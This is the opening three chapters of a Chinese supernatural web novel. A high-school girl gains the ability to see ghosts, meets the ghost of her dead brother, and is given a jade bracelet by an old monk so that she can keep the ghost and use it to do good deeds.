《饲诡者》
1. 第 1 章
九月,永夕一高。
“叮——”
夕阳西下,下课铃声准时敲响,安静的高中部教学楼顿时如往常一般炸开了锅。
学生们争先恐后往食堂赶去,走廊和楼梯间都站满了人,人声如潮,温茉走出教师办公室,怀里抱着一摞物理真题本和试卷。
她好不容易挤开人群走到走廊尾端的高二一班,看到同桌桑蓝站在教室门口饮水机前发呆,水满出去了都没察觉到。
温茉喊了她一声。
桑蓝顿时惊醒,手忙脚乱的抽出水卡,指尖却被热水烫到,她微弱惊叫一声,饮水机这时候却坏了,热水源源不断地从出水口喷涌而出。
看到她甚至想用手去堵,温茉赶忙喝止住,“别动!”
桑蓝神色惶惶,一脸无措惊慌地看着她,因为是混血人,她皮肤本就白皙,但此刻脸色却苍白的如同纸一般,往日淡淡血色的樱桃小嘴也泛着紫。
温茉将东西放到窗台上,走过去从她湿漉漉的冰凉指尖夺过水卡,来回刷了几次,饮水机嗡嗡两声,停了。
“卡槽有些接触不良,多刷几次就行。”
桑蓝低头,失落地看着湿掉的小皮鞋,“对不起,学委。”
温茉将水杯盖子合好,用袖子擦干净水渍塞进她手里,才道:“说对不起干什么?饮水机前天就坏了,你请假刚好不知道罢了。”
桑蓝的眉间的愁色这才褪去一些,轻轻地嗯了声。
又像往常一样将脸藏进厚重的褐色长发里了。
温茉心里叹了口气,她脸上带着关切:“身体怎么样?如果不舒服就多休息两天。”
桑蓝摇了摇头,忌讳地看了眼教室,低声道:“学委,我觉得同学们都不太对劲。”
这两天同学们是有点安静,但温茉没多想,揉了揉她的脑袋,开玩笑道:“也许都是被这次周考成绩打击道了?”
“不是的。”桑蓝咬了咬嘴唇,露出的那只右眼盛满不安:“今天,宇文娇她们不仅没有来欺负我,还对我笑了。”
说着她浑身哆嗦一下。
桑蓝个头矮矮的,长相俏丽,眉宇间带着混血的深邃,家世也好,按理说不应该是受欺负的对象。
但她身上背着克死生母的骂名,又天生瞎了一只左眼,所以总是充满不自信,用厚厚的刘海将盲眼挡住,整日孤僻地坐在角落里。
自然也没什么朋友,久而久之就会被那种“班霸”欺负、勒索钱财。
温茉早有听过她的传闻,直到开学重新分班才认识她。
老师把两人安排成同桌,也有让温茉照顾着点桑蓝的意思。
思及此,温茉安慰她:“咱班主任刚教训过她们,不会有人再欺负你了。”
她笑着说:“正好,来帮我把作业发一下吧?”
说完不等她拒绝,温茉走进了教室。
同学们齐刷刷抬起了头,空气宁静得吓人,他们脸上都挂着淡淡的微笑,看着她。
她皱了皱眉,生疏地按照名字分发着作业,桑蓝抱着卷子跟在她身后,却突然尖叫一声,扔下东西跑出了教室。
温茉:……
她看着满地的试卷简直没了脾气。
班长是个戴眼镜的秀气男生,高高瘦瘦的,他第一个蹲下身帮忙捡起试卷。
这像是一个信号,其他同学争先恐后地帮起了忙,甚至有为一张试卷差点大打出手的。
同学们还真是……有点奇怪。
温茉心底泛起淡淡的不适,刚好手机响了,她急着走,干脆拜托班长帮忙收拾一下,拎起书包离开了菜市场一样的教室。
在她走后,教室很快又安静下来。
许久,响起一声呢喃:“啊,太心急了吗……”
*
跟其他高中生不一样,温茉不需要上晚自习,平常下课就回家。
但今天刚在后排系好安全带,主驾上的儒雅男人却说:“咱出去吃。”
温茉想起早上他提了一次的事,问:“爸,你们师生聚餐我去算什么。”
温玉成笑眯了眼,神神秘秘地从后视镜跟她对视:“什么算什么?你去了就知道了。”
温茉扶额:“我妈知道吗?”
羊雅芝脾气可不好,要是温茉没能在晚上8点前赶回家,她可是会扒了温玉成的皮的。
现在已经六点半了。
温玉成嘟囔:“今天她又加班,你别跟那个母老虎说不就好了。”
见他坚持,温茉也没有什么意见了,反正她胳膊拧不过大腿。
温玉成今年49岁了,是A城大学计算机学院的副院长,他平日里脾气温和又负责,深受学生们的喜爱。
当温家父女到达酒店包厢时,里面已经有一个男生在了。
见到服务生引导着两人进门,原本靠坐着椅子百无聊赖的男生立刻起身迎接。
“导,您来啦,我都等好久了。”
温玉成呵呵笑:“路上堵了一会。”
三人落座,菜一道道上好,服务员将门关好,把空间留给他们。
温茉好奇地打量着这个戴着鸭舌帽的男生,他皮肤黝黑,但长相非常俊俏阳光,五官立体,神情自信大方,休闲卫衣下的胸膛鼓鼓囊囊,肩膀也宽,双手很大,完全看不出是整天坐在电脑前敲代码的人。
更像是在篮球场尽情挥洒汗水,一手一个三分球的健将。
温玉成一一介绍,“这是我女儿温茉,今年高二,成绩可好了。”
“这是小段,大学霸,是爸爸的博士生,别看今年才23岁,奖项拿得可不少。”
小段率先伸手:“你好,我叫段双双,经常听导师提到你。”
这么大只的黑皮男孩名字居然是叠字,有点莫名的可爱。
温茉礼貌地回握,颔首:“你好,久仰大名,爸爸老在家里夸你。”
互相认识后,气氛也算是热络了一些,在温玉成的撺掇下,两人还互加了好友。
他们边吃边聊家常,温玉成问:“双双啊,我最近听说……你在做什么兼职?”
段双双:“是,在朋友家拳馆当教练。”他露出一口大白牙:“攒攒钱。”
温玉成点点头,开口:“拳馆?打打杀杀的这多危险呀?当家教也比这好呀,干脆这样好了,你来给温茉辅导功课,我按照市场价的一倍给你开工资。”
温茉有些惊讶,爸爸就这么喜欢这个男生吗?平时那么抠的人居然能开出如此大方的条件。
段双双哭笑不得,连连摆手:“导儿,我去打拳是解压的,您可别再给我派任务了。”
温玉成一脸遗憾。
两人畅谈,温茉默默吃着,听着听着……温玉成一头栽桌子上了。
还好段双双手疾眼快扶着他,不然怕是要被餐具搞破相。
“导,导!”看着不省人事的温玉成,段双双快要被吓死,一直摇晃着他的肩膀。
“你买饮料时没注意吗?”
温茉擦了擦嘴:“别费力气了,我爸酒量奇差,沾不得一点酒精。”
“我艹,我不知道啊。”段双双嚎:“这是果汁饮料啊,就含了一点点酒精!”
原来他导儿真不是假清高不参加各种庆功宴,而是真的另有隐情啊。
七点半了。
温茉看了眼时间,对他扬了扬下巴:“你会开车吗?”
段双双脸上皱成一团,有些为难:“我考完驾照就没摸过车了。”
温茉叹气:“哎。”
最后叫了代驾。
温茉去结账,段双双架着温玉成在旁边站着,不好意思地摸摸头:“sorry,让女士结账很不绅士,但我最近太穷了。”
温茉对他眨了眨眼:“没事,反正我用的亲情卡。”
代驾很快到了,段双双和温玉成坐在后面,温茉在副驾刷手机。
二十分钟后,车子进入小区停车库,段双双有些激动地说:“你们住这啊?太有缘了!我兄弟也住这!”
告别代驾师傅,温茉在前面带路,段双双扶着温玉成在后面,他自顾自喋喋不休着。
“就是我那开拳击馆的朋友,他家也在这里,隔壁2号楼305,他是个游戏主播,技术可好了,妹儿你要是需要让他带你飞……”
老小区没有电梯,三人只能爬楼梯,混乱的脚步回荡在楼道间,段双双哆嗦了一下,“怎么突然有点冷。”
温茉高他两个台阶,下意识回头,双眼却被他脖子上的光闪到。
“嘶。”
眼前一阵白光,紧接着针尖般的刺痛袭来,她立刻紧闭上眼,有些痛苦地弯下腰。
生理性眼泪把睫毛染得湿漉漉。
段双双一抬头,见刚还一脸冷漠的小姑娘捧着脸哭了,他有点懵:“你咋了?”
温茉:“被你脖子上的镜子闪到眼了。”
“啊?”段双双低头看了看,“不是镜子,这是黑玉呀,不反光啊。”
他脖子上,红绳挂着的一块小孩手掌心大小的圆形黑玉暗得发沉,黑玉表面平整光滑,无任何雕刻凸起。
温茉感到眼球仍然有温热的灼烧感,她勉强睁开眼,摸着扶梯站起来。
段双双凑到她面前,关切道:“我看看,是不是进飞虫了,你们这虫子还不少。”
温茉摇晃了下脑袋,“不知道……我好了点,先回家吧。”
温家在3号楼401,两人搀扶着温玉成刚到四楼,迎面就撞上一个人。
“哎呦,吓我一跳。”
看清来人,温茉主动打招呼:“刘婶,又去跳广场舞呀。”
刘玉芬穿着一身粉白的长袖跳舞服,手里拿着把扇子,仔细看脸上还画了点淡妆。
她摇了摇扇子,一脸疑惑:“你们这是?”
段双双抢先开口:“刘婶,我是温教授的学生,他……”
“行啦行啦。”刘玉芬摆了摆手:“别挡着,我还要去跳舞呢,哎,小茉啊,你今天怎么回来得这么晚。”
她边说边下楼梯,回声飘荡在层层楼道间:“刚好,一会小伙子帮我扔下门口垃圾——”
段双双:“额……”这阿姨也太自来熟了些。
温茉拧开房门,打开客厅的灯,“不用换鞋,把我爸扔沙发上就行。”
段双双虔诚地把他导放倒在沙发上,还把沙发巾扯下来给他盖好。
温家是三室一厅,阳台上种着许多花花草草,布局简单但处处透露着温馨。
温茉直奔卧室,她推开卫生间的门,打开水龙头洗了把脸。
冷水划过眼皮,消弱了些肿胀感,她扒开眼皮对着镜子,这才发现短短时间内,眼球已经布满了红血丝!
从眼眶四面八方延伸出密密麻麻蜿蜒的红血丝,尽数链接到隐隐渗血的黑眼球上,乍一看,那些红血丝如同蠕虫般扭曲浮动。
镜子里,她的背后出现一团模糊不清的黑影,像打了厚重马赛克的潦草涂鸦。
温茉有些慌张,被吓到后退一步,她使劲闭了下眼,镜子里她的双眸却又恢复了正常。
卫生间的暖光明亮,墙壁干净,镜子也没有脏污。
仿佛方才的一切都是她的错觉。
虽然眼球的痛感消失,但手心的掐痕还在,暗示着那些绝不仅仅是幻想,温茉抓起旁边的眼药水滴上两滴,决定明天去看看医生。
她拍了拍脸走出卧室。
段双双正捏着下巴津津有味地看着照片墙,转头看了她一眼:“真想不到,师母居然是警察吗?这么英姿飒爽,怪不得导这么惧内。”
“嗯。”温茉打开冰箱,扔给他一瓶可乐,然后毫不客气地下达逐客令:“时间不早了,你回学校吗?我给你打车。
“不用。”段双双扶了下帽檐:“我去隔壁挤一晚。”
“你一个女孩子在家,记得锁好门,电视上播报的凶杀案最近可多了。”
“谢谢关心。”
寒暄两句后,段双双走了,还真顺手把隔壁邻居门口的垃圾带走了。
他走出3号楼,将垃圾扔掉后转了转肩膀。
奇怪,怎么楼内比外面还冷,老小区这么阴寒吗,嘶,脖子好痛……
温茉站在窗前,看着段双双的身影消失后,她给温玉成盖了张毛毯,回房间洗了个温水澡。
差不多她刚吹完头发,羊雅芝就回来了,温茉在卧室擦头发,听到客厅羊雅芝把温玉成踹醒骂他。
“我打死你,又喝个烂醉回来。”
“啊!我的老腰!你不是加班吗?”
“回来拿东西……”
“……”
过了会儿,羊雅芝来敲门:“茉茉,早点睡,明天周末你好好睡个懒觉,中午自己去楼下吃知道吗。”
“好。”温茉隔着门告状:“妈,爸还没放弃给我介绍男朋友,今天又带我去见他学生了。”
羊雅芝大怒:“这个老不死的,今晚是没时间收拾他了,过几天我再家法处置。”
两秒后,她又八卦的问:“那男孩长得咋样?”
温茉:“还行,又黑又高,但看着感觉有点缺心眼。”
羊雅芝:“黑得那不行。”
温茉:“……”
羊雅芝的手机又响了,她接通又挂掉,急匆匆说:“行了,宝宝,那边抓到断手案嫌疑犯了,妈妈走了嗷。”
羊雅芝风风火火地甩上了门,温玉成估计又回卧室睡着了,温家重归平静。
温茉打开台灯,坐在书桌前刷题。
“滴滴。”手机响了两下。
桑蓝发来消息:温茉,下午的事对不起,我又犯病了。
温茉垂眸,手指头缓缓敲击键盘:没事。
桑蓝回
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得很快:温茉,下周开始我就不去上学了,我老是视幻,今天还看到同学们是死人,医生又给我开了诊断单,爸爸勒令我休学了。
温茉:抱抱jpg
桑蓝:……爸爸新买了栋别墅让我休养身体,好像离你家挺近的,我可以偶尔来找你玩吗?
温茉:可以的。
桑蓝:笑脸jpg谢谢!你是第一个不嫌弃我有精神病的人!
两人有一搭没一搭地聊着,到十点多的时候温茉困了,跟她互道晚安后关灯睡觉。
温茉睡眠一向很好,每次都是一觉到天明,可这次她破天荒地梦到了小时候。
她跟温布惊一起在花园玩滑梯,他笑着从口袋里拿出棒棒糖剥好递给她,接着画面一转——
整个梦境变成刺眼的血红,温布惊残破的身体散落在血泊里,看不清脸的人握着她的肩膀摇,大声问着什么……
温布惊死的太惨了,肚子变成一整个空洞,他死不瞑目,一双染血含泪的眼紧紧盯着温茉,嘴里呐呐自语:妹妹,跑。
妹妹,妹妹……
尸体的声音越来越大,背景声如潮水般退去,稚嫩的童音飘荡在耳边,针尖般钻进耳朵。
温茉惊醒,起身摸索着开灯,白炽灯有些刺眼,她眯着,眼角渗出些水润,模糊不清的视野里,一团黑色越来越清晰。
滋滋。
头顶的灯接触不良般的闪烁,黑暗和光明交替着发生……温茉看清了被子上的东西。
一个皮肤青白,低垂着脑袋蜷缩着的小男孩。
空气仿佛凝固住般,不知过了多久,温茉呼出一口气,堪称温柔道:
“我还以为在楼梯间和浴室的时候都看花眼了。”
小男鬼倏然抬头,脑袋咕噜噜滚到了枕边,它立刻用小手满床摸索着,温茉试探着捧起那颗脑袋,撩开遮住脸庞那触感湿凉的黑发。
小男鬼惨白的脸与方才梦中别无二致,只是爬满了尸斑,硕大的眼眶黑的发沉,那双眼绿油油的,像无机质的玻璃珠,又像莹莹的两点鬼火。
“妹妹。”
一人一鬼对视,那张暗黑的小嘴喃喃道:“妹妹。”
温茉捧着脑袋的手发抖,声线有些不稳:“温布惊?”
鬼头咯咯笑了两声:“你看见我啦?”
小小的无头尸体在床上爬了个遍,终于摸到了温茉的手臂,它拍了拍她,取过脑袋,像安插灯泡一般对齐,摁下。
做好这一切后,小男鬼抱住温茉的脖子,冰凉的脸蛋贴着她,好奇地问:“妹妹,你死了吗?”
温茉看着它的头顶:“没有。”
“哦,那你怎么能看到我呢?”它语气轻柔。
温茉:“不知道。”她问:“你是真实存在的吗?”
下一秒,顽强闪烁的灯泡在内部砰一声闷响后,彻底熄灭报废。
温布惊声音嘹亮:“是的呀,我一直跟你说话,你终于理我了!我好开心!”
温茉眼眶有些湿润,“你一直跟在我身边吗?”
“没有。”温布惊很恨地说:“你上学,我就跟不了。”
它冰块般僵硬的小手摸上温茉的脸蛋,诱哄道:“不去学校,好不好。”
温茉没有一丝犹豫:“好。”
小男鬼欢呼了一声,激动的来回在屋里奔跑,月光如水般清亮,温茉清楚地看见,它的脑袋又掉了,咕噜噜在房间乱滚。
“妹妹!妹妹!变大的妹妹也是好妹妹!”
突然,温布惊的无头身体闪现到温茉怀里,像树袋熊般勒抱着她,脑袋在床底问:
“妹妹,你怎么不害怕,你以前最怕鬼了。”
温茉回抱它犹如钢板般坚硬冰凉的尸体,勉强轻笑一声:“我已经长大了,大人都不怕的。”
“哦……”脑袋嚷嚷着:“找不到身体了,妹妹,帮帮我。”
温茉抱着身体下床,在床头柜旁捡起了脑袋,她抬头,看到落地镜里自己惨白的脸和眼底些许的惊恐。
啊,原来我还是挺害怕的,她想。
温茉死死盯着落地镜,她问:“你怎么不投胎呢?”
温布惊可怖的小脸上露出一丝迷茫:“怎么投胎呀?”
“……”
温茉松了一口气:“还以为你成小怨鬼了,专门来找我报仇的。”
她刚还在想要不要一拳打晕自己然后明天去找个大师驱鬼了。
不是都说再大的怨鬼也没办法伤害无意识的人吗,先挺过一晚再说。
温布惊呆呆地望着她,“我是好哥哥,哥哥是不会伤害妹妹的。”
温茉摸摸他触感像冻铁球般的脑袋:“你一直都是好哥哥,我最清楚了。”
*
桑蓝在外很懦弱,但在家脾气不小,尤其起床气最大。
上午十点多,管家林姨把她叫醒:“小姐,你同学来了。”
得知来访者,桑蓝刚燃起的火顿时熄灭,她飞快地洗漱换衣,雀跃地跑下了楼。
客厅里,温茉正坐在沙发上,手里捧着杯橙汁,她今天穿了件绣着绿色小花朵图案的收腰白裙子,黑长发用发箍束到脑后,清爽利落好看极了。
桑蓝用手梳了梳头发,然后招手:“温茉!你怎么来了!”
其实她周末两天就想找温茉玩了,但打听到温茉下周三就要去参加数学竞赛,就没敢打扰,怕影响人家学习。
今天是周一,这位学霸居然没去上学反而来找她做什么?
但不管怎么样,桑蓝心里翻涌着一些喜悦,她克制地坐到温茉对面,将果盘朝那边推了推。
温茉轻轻捏着杯子,看橙黄的果汁泛起圈圈涟漪,她有些不好意思:“其实我昨晚给你发消息了,但一直没等到回复,今天贸然前来其实有些不太好。”
“啊!”桑蓝尖叫一声,手忙脚乱打开手机滑动:“我没有看到!昨天我很早就睡了!”
她慌乱的像犯错了一样,拘谨的好像她才是那个客人,这反而让温茉紧张的情绪缓解了一些,压低声音诚恳道:
“其实我来是想问问你视幻的事,实不相瞒,我觉得我也有了。”
温茉见到温布惊的鬼魂是在周五,她几乎熬了一整夜,直到天边泛起白肚皮才看着温布惊一点点消失。
周六和周日的夜晚,温布惊却再没出现了,但奇怪的是,早上温茉醒来,床头柜上有一行歪歪扭扭的血痕。
是温布惊的字迹,很稚嫩,内容是不要温茉去上学,不然他会孤独,不要拉开窗帘,不然它会生气。
温茉确实没去学校,而是直接来了桑蓝家,她其实挺想试试温布惊生气是什么下场,但终归旺盛的探索欲战胜了恶趣味。
号称一直视幻的桑蓝说不定能给温茉一些线索,她现在真的好奇极了,为什么她突然能看到鬼了,还是说她也患精神病了?
2. 第 2 章
听完温茉的讲述后,桑蓝沉默两秒,总结道:“你是说,你死去多年的哥哥变成鬼缠着你,然后还不许你上学?”
温茉点点头。
桑蓝正色道:“学委,厌学是很正常的一件事。”
温茉:……
“不是。”她也有些无奈:“它觉得我去上学自己一只鬼在家比较无聊孤独。”
桑蓝附和:“那你哥哥鬼还挺霸道的。”
温茉握住她的双手,“我说的都是真的,你可以去我家看,床头柜上的血字还在。”
“手机拍不出来。”
桑蓝就跟着温茉回家了,她一脸迷茫地盯着床头柜,“哪呢?”
温茉指着白色床头那处深红:“这里。”
桑蓝抿了抿唇:“学委,虽然我很好欺负,但是请你别耍我,这上面明明干干净净。”
温茉:“我真的能看到,就跟你上次看到同学是死人但我看不出来一样。”
“好吧,那你的鬼哥哥呢,它还在房子里吗?”
“没有看到了。”
桑蓝叹了口气,拍了拍她的肩膀,语气轻柔:“温茉,要不我把药分你一点吧,进口药都挺贵的。”
温茉也有些怀疑自己:“发生这些匪夷所思的事情后,不知道为什么我第一个就想到你……”
她摇了摇脑袋,“不想了,刚好中午了,留下来吃饭吧,我新学了一道菜。”
桑蓝特别高兴地答应了,温茉在厨房炒菜,她就在客厅参观。
桑蓝随手拿起架子上一本相册集翻开。
第一页照片是非常明媚的彩色,看背景是在游乐场,上面是手挽着手吃棉花糖的两个小孩,两个大人站在他们身后笑着,气氛很是温馨。
她有些羡慕,一张张翻看过去,前面的照片都是些户外游玩照,但随着小男孩的身影消失,最后的照片只剩一家三口在室内本本正正的写真集。
她猝不及防翻到最后一页,跟一张黑白的遗照对视上。
那也许是小学入学照,穿着小西装的漂亮男孩笑得很甜美,嘴边有两个小酒窝,眼里充满朝气。
但小男孩表情太生动了,桑蓝有种被他注视的错觉,她心里有些不舒服,猛然合上了相册。
温茉刚好将饭做好,把碗筷摆放整齐后招呼着桑蓝。
桑蓝应了声,她手心有些出汗,就去卫生间洗了洗。
她今天走得匆忙,没有来得及给刘海做定型,看起来有些乱糟糟的,刚好置物架上有瓶定型喷雾,她拿起来摇晃两下,对着镜子一只手撩开斜刘海——
一个阴森森的小小身影出现在镜子里,它就站在旁边,浑身湿漉漉,一双青白的小手高举着一颗脑袋。
那颗脑袋直至她的腰间,脸庞白惨惨的,嘴巴是刺目的红。
“啊!”
温茉听到卫生间里的惨叫,立刻赶了过去,只见桑蓝整个人软趴趴倒在地板上,已经陷入昏迷状态。
温布惊身体抱着脑袋,无辜地站在一旁,“她死了?”
“……”
温茉将桑蓝抱到沙发上,猛掐她的人中,桑蓝刚睁眼,温布惊又使坏将脑袋递过去,她两眼一翻又要晕厥。
“鬼,有鬼……”
温茉一脸惊喜:“你看见了是不是?你能看见!”
桑蓝哆嗦着钻进温茉怀里,崩溃大哭:“救我!”
温茉:“它不会伤害你的!”
“我要回家。”桑蓝哭哭啼啼地抬头,下秒愣住:“欸?没有了。”
温茉:“还在你旁边啊。”
桑蓝:“啊啊啊啊啊啊啊啊!”她起身恨不得夺门而出,被温茉从后抱住。
温茉觉得自己发现了什么,她撩起桑蓝遮住左眼的斜刘海。
桑蓝惊慌失色:“啊!”
放下斜刘海。
桑蓝表情松懈,哀求道:“让我走吧呜呜呜。”
撩开斜刘海。
“呜呜呜……”桑蓝浑身瘫软,倒进温茉怀里。
温茉激动地摇晃着她的肩膀,“你的左眼也太厉害了,这就是传说中的阴阳眼吧。”
桑蓝哭得梨花带雨,我见犹怜,好不容易止住悲伤惊恐,又开始打起哭嗝。
温茉递给她一杯温水,她接过,低头喝了两口,委屈道:“欺负人呜呜。”
温茉用手纸给她擦脸,难得有了点愧疚感:“抱歉,其实我刚看到也吓了一跳。”
她摆手:“但你放心!它不会伤害你的!它是个好鬼!”
桑蓝拉着裙摆,无助的犹如掉进狼群的羔羊,苦苦哀求:“让我回家吧求你了。”
她一只手死死捂住左眼,只觉得整个客厅就是鬼窝。
温茉一脸遗憾:“还没吃饭呢。”
桑蓝:“我要从这里跳下去!!!”
温茉:“行行行!”
由于桑蓝腿太软,只能由温茉把她抱下去,幸好温茉有健身的习惯,脸不红心不跳地把人公主抱下楼。
沐浴在阳光下,桑蓝嗓音发软:“我要多晒会。”
温茉拿出手机看了看:“为表歉意,我请你吃饭吧。”
这附近有家露天餐厅,口碑不错,但今天阳光暴晒还有点热,在外面用餐的人不是很多。
两人坐在露台最中间,桑蓝晒了好一会儿太阳,脸上才浮现出血色,她一脸心神不宁,不停地喝着水。
温茉尝了两口牛排,直奔主题:“你以前都没发现左眼的妙用吗?
“秒用?”桑蓝一脸呆滞地看着她:“这有什么好妙的?我现在恨不得一辈子戴眼罩。”
温茉想了一下,扑哧笑出声:“嗯,那还挺酷的。”
桑蓝有点心梗,还忘不掉刚才的惊悚画面,她好想穿越回一小时前,锁也要把自己锁在家里!
别跟温茉这个可怕的女人走!
在桑蓝的心中,温茉温柔优雅的形象一去不复返,现在的她,犹如披着天使皮的魔鬼!
温茉浅浅笑了一下,桑蓝抖得更厉害了,战战兢兢地环视四周,生怕刚那小鬼又出现。
桑蓝勉强吃两口饭,然后说:“吃了这顿饭,咱们就此别过吧,我要飞去赤道冷静一下。”
“哈哈哈。”温茉手撑着下巴,眨巴着眼:“对付恐惧最好的方法就是直面它啊,逃避解决不了问题。”
桑蓝嘴哆嗦着,牙齿打战,右眼又闪起泪花,她哭诉:“温茉,你把我毁了,我没
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有办法忘掉这一切……”
温茉诚恳道:“对不起,但是也谢谢你,让我搞清楚原来这个世界上真的有鬼。”
桑蓝抽噎:“搞清楚,然后呢?”
温茉:“我哥它说不知道怎么投胎,才一直跟着我,嗯话说,鬼是要投胎对吧?”
桑蓝擦擦眼泪和额头的薄汗:“所以你要送它投胎吗?”
温茉挠挠脸蛋,“对吧。”
不知道为什么,桑蓝莫名没那么害怕了,“这玩意我也不会啊,你得请人来跳大舞做法吧。”
“我突然想起一件事,”桑蓝沉默两秒又说:“小时候,大概是四五岁的时候吧,我爸公司出了点事濒临破产,我们搬进了一栋比较偏僻破败的公寓楼里。”
“我依稀记得,我有一个玩伴,她不嫌弃我眼睛是瞎的,天天跟我玩跳格子,可是后来直到搬走,我也不知道她家是几层几号,因为每次她都是在我爸上班后敲门的。”
温茉聚精会神地听着。
桑蓝捂住嘴:“后来搬走,我不愿意,我爸还把我揍了一顿,说我撒谎,他问过物业了,我们那栋楼里除我之外根本没有小孩子。”
“那栋楼年代很久了,三十几间房入住率不到一半,几乎都是些老人和无业游民。”
温茉:“所以说,你现在怀疑你的童年小伙伴就是只鬼。”
桑蓝艰难点头,“那时候我头发还很短,也许在我很小的时候,左眼就能看见这个了。”
“后来我家越做越大,住的地方都重金找风水大师看过,所以……”
桑蓝突然反应过来:“不对,我这是天生的,你为什么没瞎也有阴阳眼了,还是两只!”
温茉将那天楼梯间的事情告诉了她,还指了指自己的双眼:“之后本来是想去看医生的,但是不疼了我就没去。”
桑蓝被无语到了,心里的恐慌彻底褪去,她道:“被光闪到眼?我不知道该说什么了,这也太草率了。”
温茉:“当时我的眼睛红得滴血,其实挺吓人的。”
桑蓝愤恨道:“那也没有我见到你分头行动的哥吓人!”
“哈哈哈。”温茉笑了笑:“桑蓝,你现在活泼多了。”
桑蓝:“我是应激了,你该祈祷我没有心脏病,不然你家就要成凶宅了。”
温茉无所谓:“反正鬼应该伤不到人,看我哥哥就知道了,最多吓到能看见它的人。”
桑蓝吐槽:“那我最近也被吓到太多次了,好像在学校那天我是被刘海扎了下眼然后撩了一下。”
温茉:“那确实挺吓——”
桑蓝回过味来了:“不对。”
她们对视着,相顾无言,最后温茉艰难地开口:“你确定,你那天看到的同学们都是……死人?”
这不可能,已知阴阳眼看见的是鬼,鬼怎么可能拥有实体而且表现得像正常人一样去上学!?
两秒后,桑蓝又缩成一团,她抱着脑袋一脸纠结:“我就、一闪而过一眼,然后同学们看起来都很恐怖,他们很惨白,有的七窍流血,我记不起来了。”
“反正很吓人,仔细想想,简直像变异的怪物一样。”
大热天,两人硬生生惊出一身冷汗。
3. 第 3 章
想到当初班里那一幕,桑蓝情绪有些不好,只感觉淡淡的反胃感涌上心头。
她神情恹恹:“也许是我看花眼了,最近精神不太好。”
温茉颔首:“你一直在吃药吗?”
桑蓝:“对,我之前每晚都做噩梦,吃的大多是助眠安神和治疗神经衰弱的药,最近老是视幻,又加上了剂量更强的安定类药物。”
温茉安慰了她一会儿,话题又扯回到温布惊身上。
温茉只觉得温布惊很笨,当人的时候就呆呆的,死了连投胎都不会。
她放下手机:“网上说什么的都有,我不太信。果然还是要请高僧法师来。”
桑蓝拍了拍手:“请高僧?你这可问对人了!”
永夕市郊区的山上有座小庙,叫铜云寺,因为建得高加上供奉的只是几位土地公,所以名气不大。
这个温茉是知道的,现代的寺庙基本都是政府或者社会人士支持开设的,这个铜云寺,据说是从古代就一直传下来的。
小庙太老,经常需要修缮,位置在山顶,水电网之类的基础基建又不好处理,且铜云山就是座普通的山,没什么观赏性,单独为一座庙费力气不太划算。
大概十多年前,政府想让小寺庙迁,但那群和尚不同意,僵持了好久,当时羊雅芝作为执法中队长都费了不少心,经常在饭桌上提起,后来不知道怎么解决的,温茉也没问。
现在看来,原来是得到有钱人的资助了。
“我爸公司当初不是逆风翻盘了嘛,就想做点好人好事,机缘巧合之下支持了这寺庙一把,后来才知道里面有位很厉害的老和尚,我家干什么大事都要去问问他。”
“你放心,我家可是vvvvvip,我肯定今天让你见着那老头。”
六百多米的山,桑蓝爬石阶累得气喘吁吁,不时擦擦额头的汗,温茉也没好到哪里去,等她们爬到山顶,都几乎是力竭的状态。
可奇怪的是,门口居然有位清瘦但眉眼端正的小和尚在等着了,一见到两人,他就双手合十上前。
“两位女施主,我带你们去找方丈。”
温茉和桑蓝对视一眼,桑蓝耸了耸肩:“我没提前联系,想着等到了给我爸打电话。”
她挤眉弄眼:“看吧,我就说那老头很厉害。”
温茉心里涌现一股期待。
铜云寺青砖白瓦,处处透着古朴,整个寺庙萦绕着淡淡的香火味,远远望去主殿里一群和尚在念经敲木鱼,院里间歇栽种着一些柏树和银杏,围墙上立着群叽喳的小鸟。
小和尚带着她们踩过厚厚的落叶,穿过几扇圆拱小门到达后院,直到一位坐在石桌上身披袈裟,闭目凝神的长眉老和尚面前。
方丈慈眉善目,气质沉稳而安宁,他睁开了眼,静静地注视着两人,透露出点点笑意。
小和尚退下了,方丈抬手:“请坐。”
温茉坐下,迫不及待问道:“听说方丈能看透很多事,又一副等待许久的样子,想必是知道我们前来是所为何事?”
“阿弥陀佛。”方丈转了两下佛珠:“老衲能为小施主解疑。”
温茉看了眼桑蓝,可她一在外人面前就安静如鸡端坐着,只甩给温茉一个你自己看着办的眼神。
温茉:“我机缘巧合下有了阴阳眼,看见了我亡兄的鬼魂,他死的时候还是个孩子,没有犯下不可饶恕的罪孽,我想帮它超度投胎。”
“实不相瞒,其实他死的时候家里就给他做过几场法事,但看来没什么用。”
方丈缓缓开口:“人和鬼皆在六道轮回中,它不想走,就不要强求,施主,有时候,做人不一定比做鬼好。”
温茉:“可……”
方丈打断她:“你们孽缘深重,注定是相生相伴的命运。施主,你想知道怎么饲养鬼吗?”
温茉:???
桑蓝:!?
话题跳跃度这么大吗……不对,这话从老和尚嘴里说出来简直是礼崩乐坏,两人都震惊地睁大了眼,温茉好一会儿才找回声音,结结巴巴道:
“这,我,老先生,您是被……夺舍了吗?”
方丈摸着胡子,呵呵笑了两声:“我佛不搞歧视,施主,要与时俱进啊。”
“它不是恶鬼,你掌控它,正确运用它,去除恶鬼惩恶扬善,是能给它积攒阴德的。”
温茉有点精神恍惚,“养小鬼……听起来就很邪恶啊。”
桑蓝弱弱开口:“就我知道那些,娱乐圈里这么干的人最后都没有什么好下场的。”
“欸。”方丈一脸温和:“他们是养恶鬼做恶事,必然遭到反噬。这位施主与其兄天生命运纠葛,只要不作恶就不碍事的。”
温茉和桑蓝相顾无言,都在艰难消化这番极有冲击力的话,这时方丈从善如流地从衣袖里拿出两个玉镯,放在桌子上。
“呵呵,这两块玉灵气浓郁,都可作为小鬼寄身之物,施主可择其一。”
两玉镯一青一黑,都色泽浓郁,细腻油润,看起来不掺一丝杂质,即使温茉不懂玉,也看出来这东西极其贵重。
她说:“不可以两块都要吗?”说着她心里盘算着自己的资产能不能一起拿下。
方丈:“施主莫贪心。”
桑蓝也来了点兴趣:“能封存鬼?有这种好东西?我也买一个。”
方丈摇了摇头:“镯子只等有缘人,不要强求。”
桑蓝有些失望,但也只能眼巴巴地看着。
两镯子看起来都很漂亮,温茉十分纠结,这时她突然想起了段双双脖子上那块黑玉,心念一动,伸手取过了黑色的。
温茉戴上,左看右看很满意,接着很俗地问:“多少钱?”
她的预算只有六十多万。
方丈:“一两块香火钱即可。”
温茉惊讶地看着他,随即道声好。
桑蓝一脸羡慕,鼓起勇气追问:“我真的不能拥有一块吗?”
方丈:“你没缘分。”
他说:“见到这玉,小鬼自然会往里钻。切记一定要行善事。”
温茉还是心存疑虑:“鬼能行什么善事?”
方丈只说:“你日后就知道了。”
